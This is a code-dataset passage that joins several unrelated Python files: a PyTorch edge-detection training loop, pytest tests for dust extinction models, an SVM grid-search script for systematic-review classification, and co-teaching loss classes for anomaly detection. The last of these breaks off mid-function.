'1225_template_sp_negative_COD10K_checkpoint%d-stage1-%f-f1%f-precision%f-acc%f-recall%f.pth'\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\" ↑↑↑↑需要修改的参数↑↑↑↑ \"\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\ndef generate_minibatches(dataParser, train=True):\n while True:\n if train:\n batch_ids = np.random.choice(dataParser.X_train, dataParser.batch_size)\n ims, ems, double_edge, chanel1, chanel2, chanel3, chanel4, chanel5, chanel6, chanel7, chanel8, chanel_fuse, edgemaps_4, edgemaps_8, edgemaps_16, _ = dataParser.get_batch(\n batch_ids)\n else:\n batch_ids = np.random.choice(dataParser.X_test, dataParser.batch_size)\n ims, ems, double_edge, chanel1, chanel2, chanel3, chanel4, chanel5, chanel6, chanel7, chanel8, chanel_fuse, edgemaps_4, edgemaps_8, edgemaps_16, _ = dataParser.get_batch(\n batch_ids, train=False)\n\n # 通道位置转化\n ims = ims.transpose(0, 3, 1, 2)\n chanel1 = chanel1.transpose(0, 3, 1, 2)\n chanel2 = chanel2.transpose(0, 3, 1, 2)\n chanel3 = chanel3.transpose(0, 3, 1, 2)\n chanel4 = chanel4.transpose(0, 3, 1, 2)\n chanel5 = chanel5.transpose(0, 3, 1, 2)\n chanel6 = chanel6.transpose(0, 3, 1, 2)\n chanel7 = chanel7.transpose(0, 3, 1, 2)\n chanel8 = chanel8.transpose(0, 3, 1, 2)\n double_edge = double_edge.transpose(0, 3, 1, 2)\n\n # 设置是否要使用条带\n if True:\n double_edge = gen_band_gt(double_edge)\n pass\n # ims_t = ims.transpose(0,1,2,3)\n # plt.figure('ims')\n # plt.imshow(ims[0,0,:,:]*255)\n # plt.show()\n #\n # # plt.show()\n # # plt.savefig(\"temp_ims.png\")\n #\n # plt.figure('gt')\n # plt.imshow(double_edge[0,0,:,:])\n # plt.show()\n\n # plt.show()\n # plt.savefig(\"temp_gt.png\")\n yield (ims, [double_edge, chanel1, chanel2, chanel3, chanel4, chanel5, chanel6, chanel7, chanel8])\n\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\" 程序入口 \"\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n\ndef main():\n args.cuda = True\n # data\n dataParser = DataParser(args.batch_size)\n # model\n model = Net()\n if torch.cuda.is_available():\n model.cuda()\n else:\n model.cpu()\n\n model.apply(weights_init)\n # 模型初始化\n # 如果没有这一步会根据正态分布自动初始化\n # model.apply(weights_init)\n\n # 模型可持续化\n # 这是tensorflow代码中的配置: optimizer = Adam(lr=1e-2, beta_1=0.9, beta_2=0.999)\n optimizer = optim.Adam(model.parameters(), lr=args.lr, betas=(0.9, 0.999), eps=1e-8)\n\n if args.resume:\n if isfile(args.resume):\n print(\"=> loading checkpoint '{}'\".format(args.resume))\n checkpoint = torch.load(args.resume)\n model.load_state_dict(checkpoint['state_dict'])\n print(\"=> loaded checkpoint '{}'\".format(args.resume))\n # optimizer.load_state_dict(checkpoint['optimizer'])\n\n else:\n print(\"=> no checkpoint found at '{}'\".format(args.resume))\n\n else:\n print(\"=> no checkpoint found at '{}'\".format(args.resume))\n sys.exit()\n\n # 调整学习率1\n scheduler = lr_scheduler.StepLR(optimizer, step_size=args.stepsize, gamma=args.gamma)\n\n # 调整学习率2\n # scheduler = lr_scheduler.ReduceLROnPlateau()\n # 数据迭代器\n\n for epoch in range(args.start_epoch, args.maxepoch):\n train_avg = train(model=model, optimizer=optimizer, dataParser=dataParser, epoch=epoch)\n val_avg = val(model=model, dataParser=dataParser, epoch=epoch)\n\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n \" 写入图 \"\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n writer.add_scalar('tr_avg_loss_per_epoch', train_avg['loss_avg'], global_step=epoch)\n writer.add_scalar('tr_avg_f1_per_epoch', train_avg['f1_avg'], global_step=epoch)\n writer.add_scalar('tr_avg_precision_per_epoch', train_avg['precision_avg'], global_step=epoch)\n writer.add_scalar('tr_avg_acc_per_epoch', train_avg['accuracy_avg'], global_step=epoch)\n writer.add_scalar('tr_avg_recall_per_epoch', train_avg['recall_avg'], global_step=epoch)\n\n writer.add_scalar('val_avg_loss_per_epoch', val_avg['loss_avg'], global_step=epoch)\n writer.add_scalar('val_avg_f1_per_epoch', val_avg['f1_avg'], global_step=epoch)\n writer.add_scalar('val_avg_precision_per_epoch', val_avg['precision_avg'], global_step=epoch)\n writer.add_scalar('val_avg_acc_per_epoch', val_avg['accuracy_avg'], global_step=epoch)\n writer.add_scalar('val_avg_recall_per_epoch', val_avg['recall_avg'], global_step=epoch)\n\n writer.add_scalar('lr_per_epoch', scheduler.get_lr(), global_step=epoch)\n\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n \" 写入图 \"\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n # 保存模型\n \"\"\"\n info = 'Epoch: [{0}/{1}][{2}/{3}] '.format(epoch, args.maxepoch, batch_index, dataParser.steps_per_epoch) + \\\n 'Time {batch_time.val:.3f} (avg:{batch_time.avg:.3f}) '.format(batch_time=batch_time) + \\\n 'Loss {loss.val:f} (avg:{loss.avg:f}) '.format(loss=losses) + \\\n 'f1_score {f1.val:f} (avg:{f1.avg:f}) '.format(f1=f1_value) + \\\n 'precision_score: {precision.val:f} (avg:{precision.avg:f}) '.format(precision=precision_value) + \\\n 'acc_score {acc.val:f} (avg:{acc.avg:f})'.format(acc=acc_value) +\\\n 'recall_score {recall.val:f} (avg:{recall.avg:f})'.format(recall=recall_value)\n\n \"\"\"\n\n output_name = output_name_file_name % \\\n (epoch,val_avg['loss_avg'],\n val_avg['f1_avg'],\n val_avg['precision_avg'],\n val_avg['accuracy_avg'],\n val_avg['recall_avg'])\n try:\n send_msn(epoch,f1=val_avg['f1_avg'])\n except:\n pass\n if epoch % 1 == 0:\n save_model_name = os.path.join(args.model_save_dir, output_name)\n torch.save({'epoch': epoch, 'state_dict': model.state_dict(), 'optimizer': optimizer.state_dict()},\n save_model_name)\n\n scheduler.step(epoch)\n\n print('训练已完成!')\n\n\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\" 训练 \"\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n\ndef train(model, optimizer, dataParser, epoch):\n # 读取数据的迭代器\n train_epoch = int(dataParser.steps_per_epoch)\n # 变量保存\n batch_time = Averagvalue()\n data_time = Averagvalue()\n losses = Averagvalue()\n f1_value = Averagvalue()\n acc_value = Averagvalue()\n recall_value = Averagvalue()\n precision_value = Averagvalue()\n map8_loss_value = Averagvalue()\n\n # switch to train mode\n model.train()\n end = time.time()\n\n for batch_index, (images, labels_numpy) in enumerate(generate_minibatches(dataParser, True)):\n # 读取数据的时间\n data_time.update(time.time() - end)\n\n # 对读取的numpy类型数据进行调整\n labels = []\n if torch.cuda.is_available():\n images = torch.from_numpy(images).cuda()\n for item in labels_numpy:\n labels.append(torch.from_numpy(item).cuda())\n else:\n images = torch.from_numpy(images)\n for item in labels_numpy:\n labels.append(torch.from_numpy(item))\n\n if torch.cuda.is_available():\n loss = torch.zeros(1).cuda()\n loss_8t = torch.zeros(()).cuda()\n else:\n loss = torch.zeros(1)\n loss_8t = torch.zeros(())\n\n with torch.set_grad_enabled(True):\n images.requires_grad = True\n optimizer.zero_grad()\n # 网络输出\n outputs = model(images)\n # 这里放保存中间结果的代码\n if args.save_mid_result:\n if batch_index in args.mid_result_index:\n save_mid_result(outputs, labels, epoch, batch_index, args.mid_result_root, save_8map=True,\n train_phase=True)\n else:\n pass\n else:\n pass\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n \" Loss 函数 \"\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n if not args.band_mode:\n # 如果不是使用band_mode 则需要计算8张图的loss\n loss = wce_dice_huber_loss(outputs[0], labels[0]) * args.fuse_loss_weight\n\n writer.add_scalar('fuse_loss_per_epoch', loss.item() / args.fuse_loss_weight,\n global_step=epoch * train_epoch + batch_index)\n\n for c_index, c in enumerate(outputs[1:]):\n one_loss_t = wce_dice_huber_loss(c, labels[c_index + 1])\n loss_8t += one_loss_t\n writer.add_scalar('%d_map_loss' % (c_index), one_loss_t.item(), global_step=train_epoch)\n loss += loss_8t\n loss = loss / 20\n else:\n loss = wce_dice_huber_loss(outputs[0], labels[0])\n writer.add_scalar('fuse_loss_per_epoch', loss.item(),\n global_step=epoch * train_epoch + batch_index)\n\n loss.backward()\n optimizer.step()\n\n # 将各种数据记录到专门的对象中\n losses.update(loss.item())\n map8_loss_value.update(loss_8t.item())\n batch_time.update(time.time() - end)\n end = time.time()\n\n # 评价指标\n f1score = my_f1_score(outputs[0], labels[0])\n precisionscore = my_precision_score(outputs[0], labels[0])\n accscore = my_acc_score(outputs[0], labels[0])\n recallscore = my_recall_score(outputs[0], labels[0])\n\n writer.add_scalar('f1_score', f1score, global_step=epoch * train_epoch + batch_index)\n writer.add_scalar('precision_score', precisionscore, global_step=epoch * train_epoch + batch_index)\n writer.add_scalar('acc_score', accscore, global_step=epoch * train_epoch + batch_index)\n writer.add_scalar('recall_score', recallscore, global_step=epoch * train_epoch + batch_index)\n ################################\n\n f1_value.update(f1score)\n precision_value.update(precisionscore)\n acc_value.update(accscore)\n recall_value.update(recallscore)\n\n if batch_index % args.print_freq == 0:\n info = 'Epoch: [{0}/{1}][{2}/{3}] '.format(epoch, args.maxepoch, batch_index, dataParser.steps_per_epoch) + \\\n 'Time {batch_time.val:.3f} (avg:{batch_time.avg:.3f}) '.format(batch_time=batch_time) + \\\n 'Loss {loss.val:f} (avg:{loss.avg:f}) '.format(loss=losses) + \\\n 'f1_score {f1.val:f} (avg:{f1.avg:f}) '.format(f1=f1_value) + \\\n 'precision_score: {precision.val:f} (avg:{precision.avg:f}) '.format(precision=precision_value) + \\\n 'acc_score {acc.val:f} (avg:{acc.avg:f})'.format(acc=acc_value) + \\\n 'recall_score {recall.val:f} (avg:{recall.avg:f})'.format(recall=recall_value)\n\n print(info)\n\n if batch_index >= train_epoch:\n break\n\n return {'loss_avg': losses.avg,\n 'f1_avg': f1_value.avg,\n 'precision_avg': precision_value.avg,\n 'accuracy_avg': acc_value.avg,\n 'recall_avg': recall_value.avg}\n\n\n@torch.no_grad()\ndef val(model, dataParser, epoch):\n # 读取数据的迭代器\n train_epoch = int(dataParser.val_steps)\n # 变量保存\n batch_time = Averagvalue()\n data_time = Averagvalue()\n losses = Averagvalue()\n f1_value = Averagvalue()\n acc_value = Averagvalue()\n recall_value = Averagvalue()\n precision_value = Averagvalue()\n map8_loss_value = Averagvalue()\n\n # switch to test mode\n model.eval()\n end = time.time()\n\n for batch_index, (images, labels_numpy) in enumerate(generate_minibatches(dataParser, False)):\n # 读取数据的时间\n data_time.update(time.time() - end)\n\n # 对读取的numpy类型数据进行调整\n labels = []\n if torch.cuda.is_available():\n images = torch.from_numpy(images).cuda()\n for item in labels_numpy:\n labels.append(torch.from_numpy(item).cuda())\n else:\n images = torch.from_numpy(images)\n for item in labels_numpy:\n labels.append(torch.from_numpy(item))\n\n if torch.cuda.is_available():\n loss = torch.zeros(1).cuda()\n loss_8t = torch.zeros(()).cuda()\n else:\n loss = torch.zeros(1)\n loss_8t = torch.zeros(())\n\n # 网络输出\n outputs = model(images)\n # 这里放保存中间结果的代码\n if args.save_mid_result:\n if batch_index in args.mid_result_index:\n save_mid_result(outputs, labels, epoch, batch_index, args.mid_result_root, save_8map=True,\n train_phase=True)\n else:\n pass\n else:\n pass\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n \" Loss 函数 \"\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n if not args.band_mode:\n # 如果不是使用band_mode 则需要计算8张图的loss\n loss = wce_dice_huber_loss(outputs[0], labels[0]) * args.fuse_loss_weight\n\n writer.add_scalar('val_fuse_loss_per_epoch', loss.item() / args.fuse_loss_weight,\n global_step=epoch * train_epoch + batch_index)\n\n for c_index, c in enumerate(outputs[1:]):\n one_loss_t = wce_dice_huber_loss(c, labels[c_index + 1])\n loss_8t += one_loss_t\n writer.add_scalar('val_%d_map_loss' % (c_index), one_loss_t.item(), global_step=train_epoch)\n loss += loss_8t\n loss = loss / 20\n else:\n loss = wce_dice_huber_loss(outputs[0], labels[0])\n writer.add_scalar('val_fuse_loss_per_epoch', loss.item(),\n global_step=epoch * train_epoch + batch_index)\n\n # 将各种数据记录到专门的对象中\n losses.update(loss.item())\n map8_loss_value.update(loss_8t.item())\n batch_time.update(time.time() - end)\n end = time.time()\n\n # 评价指标\n f1score = my_f1_score(outputs[0], labels[0])\n precisionscore = my_precision_score(outputs[0], labels[0])\n accscore = my_acc_score(outputs[0], labels[0])\n recallscore = my_recall_score(outputs[0], labels[0])\n\n writer.add_scalar('val_f1_score', f1score, global_step=epoch * train_epoch + batch_index)\n writer.add_scalar('val_precision_score', precisionscore, global_step=epoch * train_epoch + batch_index)\n writer.add_scalar('val_acc_score', accscore, global_step=epoch * train_epoch + batch_index)\n writer.add_scalar('val_recall_score', recallscore, global_step=epoch * train_epoch + batch_index)\n\n ################################\n\n f1_value.update(f1score)\n precision_value.update(precisionscore)\n acc_value.update(accscore)\n recall_value.update(recallscore)\n\n if batch_index % args.print_freq == 0:\n info = 'Epoch: [{0}/{1}][{2}/{3}] '.format(epoch, args.maxepoch, batch_index, dataParser.val_steps) + \\\n 'Time {batch_time.val:.3f} (avg:{batch_time.avg:.3f}) '.format(batch_time=batch_time) + \\\n 'vla_Loss {loss.val:f} (avg:{loss.avg:f}) '.format(loss=losses) + \\\n 'val_f1_score {f1.val:f} (avg:{f1.avg:f}) '.format(f1=f1_value) + \\\n 'val_precision_score: {precision.val:f} (avg:{precision.avg:f}) '.format(precision=precision_value) + \\\n 'val_acc_score {acc.val:f} (avg:{acc.avg:f})'.format(acc=acc_value) + \\\n 'val_recall_score {recall.val:f} (avg:{recall.avg:f})'.format(recall=recall_value)\n\n print(info)\n\n if batch_index >= train_epoch:\n break\n\n return {'loss_avg': losses.avg,\n 'f1_avg': f1_value.avg,\n 'precision_avg': precision_value.avg,\n 'accuracy_avg': acc_value.avg,\n 'recall_avg': recall_value.avg}\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"stage_one_train.py","file_name":"stage_one_train.py","file_ext":"py","file_size_in_byte":20808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"94615505","text":"import numpy as np\nimport pytest\n\nfrom ..parameter_averages import G16\nfrom ..averages import G03_SMCBar\nfrom .test_f99 import get_axav_cor_vals as get_axav_cor_vals_fA_1\n\n\ndef test_extinction_G16_fA_1_values():\n # get the correct values\n x, cor_vals, tolerance = get_axav_cor_vals_fA_1()\n\n # initialize extinction model\n tmodel = G16(RvA=3.1, fA=1.0)\n\n # test\n np.testing.assert_allclose(tmodel(x), cor_vals, rtol=tolerance)\n\n\ndef test_extinction_G16_fA_0_values():\n # initialize the model\n tmodel = G16(fA=0.0)\n\n # get the correct values\n gmodel = G03_SMCBar()\n x = gmodel.obsdata_x\n cor_vals = gmodel.obsdata_axav\n tolerance = gmodel.obsdata_tolerance\n\n # test\n np.testing.assert_allclose(tmodel(x), cor_vals, rtol=tolerance)\n\n\nx_vals, axav_vals, tolerance = get_axav_cor_vals_fA_1()\ntest_vals = zip(x_vals, axav_vals, np.full(len(x_vals), tolerance))\n\n\n@pytest.mark.parametrize(\"test_vals\", test_vals)\ndef test_extinction_G16_fA_1_single_values(test_vals):\n x, cor_val, tolerance = test_vals\n\n # initialize extinction model\n tmodel = G16(RvA=3.1, fA=1.0)\n\n # test\n np.testing.assert_allclose(tmodel(x), cor_val, rtol=tolerance)\n np.testing.assert_allclose(tmodel.evaluate(x, 3.1, 1.0), cor_val, rtol=tolerance)\n","sub_path":"dust_extinction/tests/test_g16.py","file_name":"test_g16.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"114768734","text":"import featuresAndClassifiers as fb\nimport numpy as np\nfrom sklearn.cross_validation import KFold\n\n\"\"\"\n The following command converts the correctly named files to BOW:\n The files should be stored in ./SystematicReviewDataset/ and \n have the names listed in dataProcess.py \n Comment out this line if preprocessing has already been done and\n the relevant numpy objects save\n\"\"\"\n#fb.dataProcess.process_and_save()\n\n\n# The following is a grid search over the parameters gamma and the\n# class weight multipliers for an SVM with RBF Kernel. It will \n# read data created by the dataProcess command above. \ngSTEPS = 11 \ngInc = 0.02\n\nwSTEPS = 3\nwInc = 0.05\n\ndrugClasses = [ 'units_Estrogens', 'units_OralHypoglycemics', 'units_Triptan','units_BB' ]\nsectionIdx = { \"Title\": 0, \"Abstract\": 1, \"Meta\": 2, \"Mesh\": 3 }\n\ndrugClass = drugClasses[0]\n#for drugClass in drugClasses:\nfor i in range(1):\n \n gamma = 0.16\n drugResults = []\n\n classes, features = fb.getFeatures(drugClass)\n\n for i in range(gSTEPS):\n gammaResutls = []\n weights = [0.75, 1.25]\n for j in range(wSTEPS):\n cvResults = []\n for k in range(5):\n cvResult = fb.runCV(classes, features, gamma, weights)\n cvResults = np.mean(cvResult, axis=0)\n \n drugResults.append(cvResults)\n\n \n weights[0] += wInc\n weights[1] -= wInc\n gamma += gInc\n \n np.save(drugClass, drugResults)\n\n\n\"\"\"\n\nfor drugClass in drugClasses:\n drugClass = drugClasses[2]\n gamma = 0.04\n drugResults = []\n\n for i in range(gSTEPS):\n gammaResults = []\n weights = [0.85, 1.15]\n for j in range(wSTEPS):\n\n print \"Drug:\", drugClass\n\n classes, allSections = fb.load_data(drugClass, True, [ \\\n sectionIdx['Title'], \\\n sectionIdx['Abstract'], \\\n sectionIdx['Meta'], \\\n sectionIdx['Mesh'] \\\n ] )\n tfidf = fb.get_Tfidf(allSections)\n data = tfidf\n print \"Proportion included:\", \\\n float(np.shape(np.where(classes == fb.dataProcess.INCLUDED)[0])[0])/np.shape(classes)[0]\n print float(np.shape(np.where(classes == fb.dataProcess.EXCLUDED)[0])[0])/np.shape(classes)[0]\n kf = KFold(classes.shape[0], 10)\n\n cvResults = []\n for trainIdx, testIdx in kf:\n trueVals = classes[testIdx]\n\n predictions = fb.run_svm(data[trainIdx], data[testIdx], classes[trainIdx], gamma, weights)\n\n cm, wss, recall = fb.interpret(predictions, trueVals, testIdx)\n\n cvResults.append([cm[0][0], cm[0][1], cm[1][0], cm[1][1], wss, recall, gamma, weights[0], weights[1] ])\n print\n print \"Weights:\", weights, \" Gamma:\", gamma\n print \"**********\"\n drugResults.append(cvResults)\n\n weights[0] += wInc\n weights[1] -= wInc\n gamma += gInc\n\n np.save(drugClass, drugResults)\n #SAVE THINGS\n\"\"\"\n","sub_path":"MedReview/runPreprocessAndGridSearch.py","file_name":"runPreprocessAndGridSearch.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"489012743","text":"import numpy as np\nimport torch\nimport torch.nn.functional as F\nimport torch.nn as nn\nimport random\n\nclass CoTeachingLoss(nn.Module):\n def __init__(self, noise_rate=0.1):\n super(CoTeachingLoss, self).__init__()\n self.mse = nn.MSELoss(reduction='none')\n self.noise_rate = noise_rate\n\n def forward(self, xr1, xr2, x):\n mse1 = self.mse(xr1, x).mean(dim=(1,2,3))\n mse2 = self.mse(xr2, x).mean(dim=(1,2,3))\n idxsortd1 = mse1.argsort().detach()\n idxsortd2 = mse2.argsort().detach()\n #idxsortd1 = np.argsort(mse1.cpu().data)\n #idxsortd2 = np.argsort(mse2.cpu().data)\n #print(idxsortd1)\n #print(mse1,mse2,idxsortd1,idxsortd2)\n #return mse1.mean(), mse2.mean()\n rem_num = int(x.size(0) * (1. - self.noise_rate))\n return mse1[idxsortd2[:rem_num]].mean(), \\\n mse2[idxsortd1[:rem_num]].mean()\n\nclass CoTeachingResnetLoss(nn.Module):\n def __init__(self, noise_rate=0.1, score_mode='pl_mean'):\n super(CoTeachingResnetLoss, self).__init__()\n self.noise_rate = noise_rate\n self.score_mode = score_mode\n self.softmax = nn.Softmax(dim=1)\n\n def forward(self, o1, o2, labels):\n ce1 = F.cross_entropy(o1, labels, reduction='none')\n ce2 = F.cross_entropy(o2, labels, reduction='none')\n idxsortd1 = ce1.argsort().detach()\n idxsortd2 = ce2.argsort().detach()\n rem_num = int(o1.size(0) * (1. - self.noise_rate))\n return ce1[idxsortd2[:rem_num]].mean(), \\\n ce2[idxsortd1[:rem_num]].mean()\n\n def pl_mean(self, x, labels):\n raise NotImplementedError\n\n def neg_entropy(self, x):\n ne = self.softmax(x)\n return (ne *torch.log2(ne)).sum(dim=1)\n\n def predict(self, x, labels):\n if self.score_mode == 'pl_mean':\n return self.pl_mean(x, labels)\n else:\n return self.neg_entropy(x)\n\nclass InCoTeachingEstLoss(nn.Module):\n def __init__(self, lamd, cpd_channels, mode, noise_rate=0.1):\n super(InCoTeachingEstLoss, self).__init__()\n self.mse = nn.MSELoss(reduction='none')\n self.noise_rate = noise_rate\n self.lamd = lamd\n #self.lamd2 = 0.05\n self.coteach_mode = mode # 'exchange' 'union' 'intersect'\n\n\n self.cpd_channels = cpd_channels\n\n # Avoid nans\n self.eps = np.finfo(float).eps\n\n def L21_error(self, x, x_r):\n x = x.view(x.shape[0], -1)\n x_r = x_r.view(x_r.shape[0], -1)\n le = (torch.norm(x - x_r, p=2, dim=1)).mean()\n return le\n\n def Autoregress_error(self, z, z_dist):\n z_d = z.detach()\n\n # Apply softmax\n z_dist = F.softmax(z_dist, dim=1)\n\n # Flatten out codes and distributions\n z_d = z_d.view(len(z_d), -1).contiguous()\n z_dist = z_dist.view(len(z_d), self.cpd_channels, -1).contiguous()\n\n # Log (regularized), pick the right ones\n z_dist = torch.clamp(z_dist, self.eps, 1 - self.eps)\n log_z_dist = torch.log(z_dist)\n index = torch.clamp(torch.unsqueeze(z_d, dim=1) * self.cpd_channels, min=0,\n max=(self.cpd_channels - 1)).long()\n selected = torch.gather(log_z_dist, dim=1, index=index)\n selected = torch.squeeze(selected, dim=1)\n\n # Sum and mean\n S = torch.sum(selected, dim=-1)\n nll = -S\n\n return nll\n\n def forward(self, xr, x, z, z_dist):\n x = x.view(x.shape[0], -1)\n xr = xr.view(xr.shape[0], -1)\n lmse = torch.norm(x - xr, p=2, dim=1)\n idxsorted = lmse.argsort().detach().cpu().numpy()\n\n rem_num = int(x.size(0) * (1. - self.noise_rate))\n arg_err = self.Autoregress_error(z, z_dist)\n zidxsorted = arg_err.argsort().detach().cpu().numpy()\n if self.coteach_mode == 'exchange':\n a = lmse[zidxsorted[:rem_num]].mean()\n b = arg_err[idxsorted[:rem_num]].mean()\n #c = arg_err[idxsorted[rem_num:]].mean()\n loss = a + b * self.lamd\n elif self.coteach_mode == 'neg':\n a = lmse[zidxsorted[:rem_num]].mean()\n b = arg_err[idxsorted[:rem_num]].mean()\n c = arg_err[idxsorted[rem_num:]].mean()\n loss = a + (b - c) * self.lamd\n else:\n loss = lmse.mean() + self.lamd * arg_err.mean()\n #print(a.item(), b.item())\n return loss, lmse, arg_err\n\n\nclass InCoTeachingHiddenLoss(nn.Module):\n def __init__(self, lamd, noise_rate=0.1, group=2):\n super(InCoTeachingHiddenLoss, self).__init__()\n self.mse = nn.MSELoss(reduction='none')\n self.noise_rate = noise_rate\n self.group = group\n self.lamd = lamd\n self.lamd2 = 0.05\n\n def L21_error(self, x, x_r):\n x = x.view(x.shape[0], -1)\n x_r = x_r.view(x_r.shape[0], -1)\n le = (torch.norm(x - x_r, p=2, dim=1)).mean()\n return le\n\n def forward(self, xr, x, z):\n L_mse = []\n idxsorted = []\n x = x.view(x.shape[0], -1)\n #print(len(xr), xr[0].shape, x.shape, z.shape)\n for ixr in xr:\n ixr = ixr.view(ixr.shape[0], -1)\n #print(x.shape, ixr.shape)\n #lmse = self.mse(ixr, x).mean(dim=1)\n lmse = torch.norm(x - ixr, p=2, dim=1)\n #lmse = ixr.sub(x).pow(2).view(ixr.size(0), -1).sum(dim=1, keepdim=False)\n L_mse.append(lmse)\n idxsorted.append(lmse.argsort().detach().cpu().numpy())\n rem_num = int(x.size(0) * (1. - self.noise_rate))\n znorm = torch.norm(z, p=2, dim=1)\n zidxsorted = znorm.argsort().detach().cpu().numpy()\n shift = random.randint(0, self.group - 1)\n loss = 0\n #print(rem_num)\n for i in range(self.group):\n loss += L_mse[i][zidxsorted[:rem_num]].mean()\n #loss += L_mse[i].mean()\n\n return znorm[idxsorted[(shift)%self.group][:rem_num]].mean() * self.lamd + loss\n #return znorm.mean()+loss\n\nclass InCoTeachingAgreeLoss(nn.Module):\n def __init__(self, noise_rate=0.1, group=2):\n super(InCoTeachingAgreeLoss, self).__init__()\n self.mse = nn.MSELoss(reduction='none')\n self.noise_rate = noise_rate\n self.group = group\n\n def forward(self, xr, x):\n L_mse = []\n idxsorted = []\n for ixr in xr:\n lmse = self.mse(ixr, x).mean(dim=(1,2,3))\n L_mse.append(lmse)\n idxsorted.append(lmse.argsort().detach().cpu().numpy())\n rem_idx = int(x.size(0) * (1. - self.noise_rate))\n loss = 0\n agrees = idxsorted[0][:rem_idx]\n for i in range(1, self.group):\n agrees = np.intersect1d(agrees,idxsorted[i])\n\n for i in range(self.group):\n loss += L_mse[i][agrees].mean()\n #loss += L_mse[i].mean()\n return loss\n\n\nclass InCoTeachingLoss(nn.Module):\n def __init__(self, noise_rate=0.1, group=2):\n super(InCoTeachingLoss, self).__init__()\n self.mse = nn.MSELoss(reduction='none')\n self.noise_rate = noise_rate\n self.group = group\n\n def forward(self, xr, x):\n L_mse = []\n idxsorted = []\n for ixr in xr:\n lmse = self.mse(ixr, x).mean(dim=(1,2,3))\n L_mse.append(lmse)\n idxsorted.append(lmse.argsort().detach())\n rem_num = int(x.size(0) * (1. - self.noise_rate))\n shift = random.randint(1, self.group - 1)\n loss = 0\n for i in range(self.group):\n loss += L_mse[i][idxsorted[(i+shift)%self.group][:rem_num]].mean()\n #loss += L_mse[i].mean()\n return loss\n\nclass MulCEInCoTeachingLoss(nn.Module):\n def __init__(self, noise_rate=0.1, group=(2, 3, 3, 4), score_mode='pl_mean',\n iter_per_epoch=100, smooth_epoch=0, oe_scale=None,\n mask_group=None):\n super(MulCEInCoTeachingLoss, self).__init__()\n self.noise_rate = noise_rate\n self.group = group\n self.gsize = len(group)\n self.softmax = nn.Softmax(dim=1)\n self.score_mode = score_mode\n self.noise_rate_schedule = []\n for i in range(smooth_epoch):\n self.noise_rate_schedule += [self.noise_rate * i / smooth_epoch] * iter_per_epoch\n self.iter_count = 0\n self.oe_scale = oe_scale\n\n if mask_group is None:\n self.mask_group = [False] * len(self.group)\n else:\n self.mask_group = mask_group\n\n def get_noist_rate(self):\n if self.iter_count < len(self.noise_rate_schedule):\n ns = self.noise_rate_schedule[self.iter_count]\n else:\n ns = self.noise_rate\n self.iter_count += 1\n return ns\n\n def forward(self, x, labels):\n noise_rate = self.get_noist_rate()\n Lce = []\n now = 0\n idxsorted = []\n for i in range(len(self.group)):\n if not self.mask_group[i]:\n lce = F.cross_entropy(x[:, now: now+self.group[i]], labels[i], reduction='none')\n Lce.append(lce)\n idxsorted.append(lce.argsort().detach())\n now += self.group[i]\n #print(now)\n rem_num = int(x.size(0) * (1. - noise_rate))\n shift = random.randint(0, len(Lce) - 1)\n loss = 0\n for i in range(len(Lce)):\n loss += Lce[i][idxsorted[(i+shift)%len(Lce)][:rem_num]].mean()\n #loss += Lce[i].mean()\n\n if self.oe_scale is not None:\n oe_num = -int(x.size(0) * noise_rate * self.oe_scale)\n now = 0\n for i in range(len(self.group)):\n if not self.mask_group[i]:\n xi = x[idxsorted[(i + shift) % len(Lce)][oe_num:], now:now + self.group[i]]\n loss += -0.1 * (xi.mean(dim=1) - torch.logsumexp(xi, dim=1)).mean()\n now += self.group[i]\n return loss\n\n def pl_mean(self, x, labels):\n Lce = []\n now = 0\n #print(x.shape, labels[0].shape)\n for i in range(len(self.group)):\n if not self.mask_group[i]:\n lce = -F.cross_entropy(x[:, now: now + self.group[i]], labels[i], reduction='none')\n Lce.append(lce)\n now += self.group[i]\n loss = 0\n for i in range(len(Lce)):\n loss += Lce[i]\n return loss\n\n def neg_entropy(self, x):\n neg_entropy = 0\n now = 0\n for i in range(len(self.group)):\n if not self.mask_group[i]:\n ne = self.softmax(x[:, now: now+self.group[i]])\n ne = ne * torch.log2(ne)\n ne = ne.sum(dim=1)\n neg_entropy += ne\n now += self.group[i]\n return neg_entropy\n\n def predict(self, x, labels):\n if self.score_mode == 'pl_mean':\n return self.pl_mean(x, labels)\n else:\n return 